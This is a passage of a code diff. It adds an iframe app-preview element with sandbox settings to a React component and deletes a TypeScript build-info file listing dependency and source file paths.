+ <iframe
366
+ key={frameSrc.gen}
367
+ ref={iframeRef}
368
+ title={isViewport ? 'App' : 'App preview'}
369
+ sandbox="allow-scripts"
370
+ src={frameSrc.url}
371
+ className={
372
+ status === 'ready' ? (isViewport ? 'block h-full w-full' : 'block w-full') : 'hidden'
373
+ }
374
+ style={isViewport ? { border: '0' } : { height, border: '0', width: '100%' }}
375
+ />
376
+ )}
543
377
  {status === 'loading' && (
544
378
  <div
545
379
  className={`flex items-center justify-center p-6 text-sm text-muted-foreground ${isViewport ? 'h-full' : 'h-40'}`}
@@ -1 +0,0 @@
1
- {"fileNames":["../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es5.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2016.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2018.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2019.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2021.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.dom.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.dom.iterable.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.core.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.collection.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.generator.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.iterable.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.promise.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.proxy.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.reflect.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.symbol.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2015.symbol.wellknown.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2016.array.include.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2016.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.arraybuffer.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.date.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.object.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.sharedmemory.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.string.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2017.typedarrays.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2018.asyncgenerator.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2018.asynciterable.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2018.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2018.promise.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2018.regexp.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2019.array.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2019.object.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2019.string.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2019.symbol.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2019.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.bigint.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.date.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.promise.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.sharedmemory.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.string.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.symbol.wellknown.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2020.number.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2021.promise.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2021.string.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2021.weakref.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2021.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.array.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.error.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.intl.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.object.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.string.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.es2022.regexp.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.decorators.d.ts","../../node_modules/.pnpm/typescript@5.9.3/node_modules/typescript/lib/lib.decorators.legacy.d.ts","../../node_modules/.pnpm/@types+react@19.2.17/node_modules/@types/react/global.d.ts","../../node_modules/.pnpm/csstype@3.2.3/node_modules/csstype/index.d.ts","../../node_modules/.pnpm/@types+react@19.2.17/node_modules/@types/react/index.d.ts","../../node_modules/.pnpm/@types+react@19.2.17/node_modules/@types/react/jsx-runtime.d.ts","./src/app-bridge-protocol.ts","./src/lib/theme-registry.gen.ts","./src/lib/themes.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/styledefinition.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/metalicense.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/metacreator.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/metasource.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/meta.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/element.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/canvas.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/componenttranslate.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/componentvariant.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/component.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style/color.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/style.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/styleoptions.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/avatar.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/utils/color.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/optionsdescriptor.d.ts","../../node_modules/.pnpm/@dicebear+core@10.4.0/node_modules/@dicebear/core/lib/index.d.ts","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/glyphs.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/icons.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/initial-face.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/initials.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/thumbs.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/notionists.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/notionists-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/lorelei.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/lorelei-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/open-peeps.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/pixel-art.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/pixel-art-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/pixelbot.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/bottts.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/bottts-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/avataaars.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/avataaars-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/adventurer.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/adventurer-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/big-ears.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/big-ears-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/big-smile.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/clay.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/critters.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/croodles.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/croodles-neutral.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/dylan.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/fun-emoji.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/micah.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/miniavs.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/moods.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/personas.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/sprouts.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/toon-head.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/shapes.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/identicon.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/loops.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/rings.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/squircles.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/shape-grid.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/glass.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/blobs.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/disco.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/stripes.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/triangles.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/waves.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/weave.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/constellation.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/landscape.min.json","../../node_modules/.pnpm/@dicebear+styles@10.3.0/node_modules/@dicebear/styles/dist/planets.min.json","./src/avatar.ts","./src/backgrounds.ts","../client-types/src/display-fonts.ts","./src/appearance.ts","../../node_modules/.pnpm/@vitest+pretty-format@4.1.10/node_modules/@vitest/pretty-format/dist/index.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/display.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/types.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/helpers.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/timers.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/index.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/types.d-bcelap-c.d.ts","../../node_modules/.pnpm/@vitest+utils@4.1.10/node_modules/@vitest/utils/dist/diff.d.ts","../../node_modules/.pnpm/@vitest+runner@4.1.10/node_modules/@vitest/runner/dist/tasks.d-deyaimiu.d.ts","../../node_modules/.pnpm/@vitest+runner@4.1.10/node_modules/@vitest/runner/dist/index.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/traces.d.d2t_r8rx.d.ts","../../node_modules/.pnpm/vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0/node_modules/vite/types/hmrpayload.d.ts","../../node_modules/.pnpm/vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0/node_modules/vite/dist/node/chunks/modulerunnertransport.d.ts","../../node_modules/.pnpm/vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0/node_modules/vite/types/customevent.d.ts","../../node_modules/.pnpm/vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0/node_modules/vite/types/hot.d.ts","../../node_modules/.pnpm/vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0/node_modules/vite/dist/node/module-runner.d.ts","../../node_modules/.pnpm/@vitest+snapshot@4.1.10/node_modules/@vitest/snapshot/dist/environment.d-dojxxzv9.d.ts","../../node_modules/.pnpm/@vitest+snapshot@4.1.10/node_modules/@vitest/snapshot/dist/rawsnapshot.d-d_x3-62x.d.ts","../../node_modules/.pnpm/@vitest+snapshot@4.1.10/node_modules/@vitest/snapshot/dist/index.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/config.d.a1h_y6jt.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/environment.d.crsxczp1.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/rpc.d.b_8spu0w.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/worker.d.zphpo4yb.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/browser.d.bcoexmfg.d.ts","../../node_modules/.pnpm/@vitest+spy@4.1.10/node_modules/@vitest/spy/optional-types.d.ts","../../node_modules/.pnpm/@vitest+spy@4.1.10/node_modules/@vitest/spy/dist/index.d.ts","../../node_modules/.pnpm/tinyrainbow@3.1.0/node_modules/tinyrainbow/dist/index.d.ts","../../node_modules/.pnpm/@standard-schema+spec@1.1.0/node_modules/@standard-schema/spec/dist/index.d.ts","../../node_modules/.pnpm/@types+deep-eql@4.0.2/node_modules/@types/deep-eql/index.d.ts","../../node_modules/.pnpm/assertion-error@2.0.1/node_modules/assertion-error/index.d.ts","../../node_modules/.pnpm/@types+chai@5.2.3/node_modules/@types/chai/index.d.ts","../../node_modules/.pnpm/@vitest+expect@4.1.10/node_modules/@vitest/expect/dist/index.d.ts","../../node_modules/.pnpm/@vitest+runner@4.1.10/node_modules/@vitest/runner/dist/utils.d.ts","../../node_modules/.pnpm/tinybench@2.9.0/node_modules/tinybench/dist/index.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/benchmark.d.daahlpsq.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/global.d.dvssrdq5.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/optional-runtime-types.d.ts","../../node_modules/.pnpm/@vitest+mocker@4.1.10_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/@vitest/mocker/dist/types.d-bji5eawu.d.ts","../../node_modules/.pnpm/@vitest+mocker@4.1.10_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/@vitest/mocker/dist/index.d-b41z0auw.d.ts","../../node_modules/.pnpm/@vitest+mocker@4.1.10_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/@vitest/mocker/dist/index.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/suite.d.udjtyagw.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/chunks/evaluatedmodules.d.bxj5omdx.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/runners.d.ts","../../node_modules/.pnpm/expect-type@1.3.0/node_modules/expect-type/dist/utils.d.ts","../../node_modules/.pnpm/expect-type@1.3.0/node_modules/expect-type/dist/overloads.d.ts","../../node_modules/.pnpm/expect-type@1.3.0/node_modules/expect-type/dist/branding.d.ts","../../node_modules/.pnpm/expect-type@1.3.0/node_modules/expect-type/dist/messages.d.ts","../../node_modules/.pnpm/expect-type@1.3.0/node_modules/expect-type/dist/index.d.ts","../../node_modules/.pnpm/vitest@4.1.10_@types+node@25.9.5_vite@8.1.5_@types+node@25.9.5_esbuild@0.28.1_jiti@2.7.0_tsx@4.23.1_yaml@2.9.0_/node_modules/vitest/dist/index.d.ts","./src/avatar.test.ts","./src/backgrounds.test.ts","../../node_modules/.pnpm/@types+react-dom@19.2.3_@types+react@19.2.17/node_modules/@types/react-dom/client.d.ts","../../node_modules/.pnpm/@types+react-dom@19.2.3_@types+react@19.2.17/node_modules/@types/react-dom/static.d.ts","../../node_modules/.pnpm/@types+react-dom@19.2.3_@types+react@19.2.17/node_modules/@types/react-dom/server.d.ts","../../node_modules/.pnpm/decimal.js@10.6.0/node_modules/decimal.js/decimal.d.ts","../../node_modules/.pnpm/fraction.js@5.3.4/node_modules/fraction.js/fraction.d.mts","../../node_modules/.pnpm/mathjs@15.2.0/node_modules/mathjs/types/index.d.ts","../content-core/src/table-formula-mathjs.ts","../content-core/src/table-model.ts","../content-core/src/table-formula.ts","../content-core/src/formula-spec.ts","../content-core/src/formula-dimensions.ts","../../node_modules/.pnpm/katex@0.18.1_patch_hash=dbcf9edeb908f2a946cfd690c54b078877fcbb15918e5e1430ee4d0ecddeac7d/node_modules/katex/types/katex.d.ts","./src/formula-presenter.tsx","./src/formula-presenter.test.ts","./src/help-topics.ts","../../node_modules/.pnpm/lucide-react@1.25.0_react@19.2.7/node_modules/lucide-react/dist/lucide-react.d.ts","./src/nav-items.ts","../content-core/src/page-toc.ts","../content-core/src/formula-signature.ts","./src/view-payload.ts","./themes/seeds.d.mts","./themes/generate.d.mts","./themes/model.d.mts","./src/lib/theme-generator.test.ts","../../node_modules/.pnpm/clsx@2.1.1/node_modules/clsx/clsx.d.mts","../../node_modules/.pnpm/tailwind-merge@3.6.0/node_modules/tailwind-merge/dist/types.d.ts","./src/lib/utils.ts","./src/app-sandbox.tsx","./src/app-presenter.tsx","./src/draw-presenter.tsx","../../node_modules/.pnpm/@types+unist@3.0.3/node_modules/@types/unist/index.d.ts","../../node_modules/.pnpm/@types+hast@3.0.4/node_modules/@types/hast/index.d.ts","../../node_modules/.pnpm/vfile-message@4.0.3/node_modules/vfile-message/lib/index.d.ts","../../node_modules/.pnpm/vfile-message@4.0.3/node_modules/vfile-message/index.d.ts","../../node_modules/.pnpm/vfile@6.0.3/node_modules/vfile/lib/index.d.ts","../../node_modules/.pnpm/vfile@6.0.3/node_modules/vfile/index.d.ts","../../node_modules/.pnpm/unified@11.0.5/node_modules/unified/lib/callable-instance.d.ts","../../node_modules/.pnpm/trough@2.2.0/node_modules/trough/lib/index.d.ts","../../node_modules/.pnpm/trough@2.2.0/node_modules/trough/index.d.ts","../../node_modules/.pnpm/unified@11.0.5/node_modules/unified/lib/index.d.ts","../../node_modules/.pnpm/unified@11.0.5/node_modules/unified/index.d.ts","../../node_modules/.pnpm/@types+mdast@4.0.4/node_modules/@types/mdast/index.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/state.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/footer.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/blockquote.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/break.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/code.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/delete.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/emphasis.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/footnote-reference.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/heading.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/html.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/image-reference.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/image.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/inline-code.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/link-reference.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/link.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/list-item.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/list.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/paragraph.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/root.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/strong.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/table.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/table-cell.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/table-row.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/text.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/thematic-break.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/handlers/index.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/lib/index.d.ts","../../node_modules/.pnpm/mdast-util-to-hast@13.2.1/node_modules/mdast-util-to-hast/index.d.ts","../../node_modules/.pnpm/remark-rehype@11.1.2/node_modules/remark-rehype/lib/index.d.ts","../../node_modules/.pnpm/remark-rehype@11.1.2/node_modules/remark-rehype/index.d.ts","../../node_modules/.pnpm/react-markdown@10.1.0_@types+react@19.2.17_react@19.2.7/node_modules/react-markdown/lib/index.d.ts","../../node_modules/.pnpm/react-markdown@10.1.0_@types+react@19.2.17_react@19.2.7/node_modules/react-markdown/index.d.ts","../../node_modules/.pnpm/micromark-util-types@2.0.2/node_modules/micromark-util-types/index.d.ts","../../node_modules/.pnpm/micromark-extension-gfm-footnote@2.1.0/node_modules/micromark-extension-gfm-footnote/lib/html.d.ts","../../node_modules/.pnpm/micromark-extension-gfm-footnote@2.1.0/node_modules/micromark-extension-gfm-footnote/lib/syntax.d.ts","../../node_modules/.pnpm/micromark-extension-gfm-footnote@2.1.0/node_modules/micromark-extension-gfm-footnote/index.d.ts","../../node_modules/.pnpm/micromark-extension-gfm-strikethrough@2.1.0/node_modules/micromark-extension-gfm-strikethrough/lib/html.d.ts","../../node_modules/.pnpm/micromark-extension-gfm-strikethrough@2.1.0/node_modules/micromark-extension-gfm-strikethrough/lib/syntax.d.ts","../../node_modules/.pnpm/micromark-extension-gfm-strikethrough@2.1.0/node_modules/micromark-extension-gfm-strikethrough/index.d.ts","../../node_modules/.pnpm/micromark-extension-gfm@3.0.0/node_modules/micromark-extension-gfm/index.d.ts","../../node_modules/.pnpm/mdast-util-from-markdown@2.0.3/node_modules/mdast-util-from-markdown/lib/types.d.ts","../../node_modules/.pnpm/mdast-util-from-markdown@2.0.3/node_modules/mdast-util-from-markdown/lib/index.d.ts","../../node_modules/.pnpm/mdast-util-from-markdown@2.0.3/node_modules/mdast-util-from-markdown/index.d.ts","../../node_modules/.pn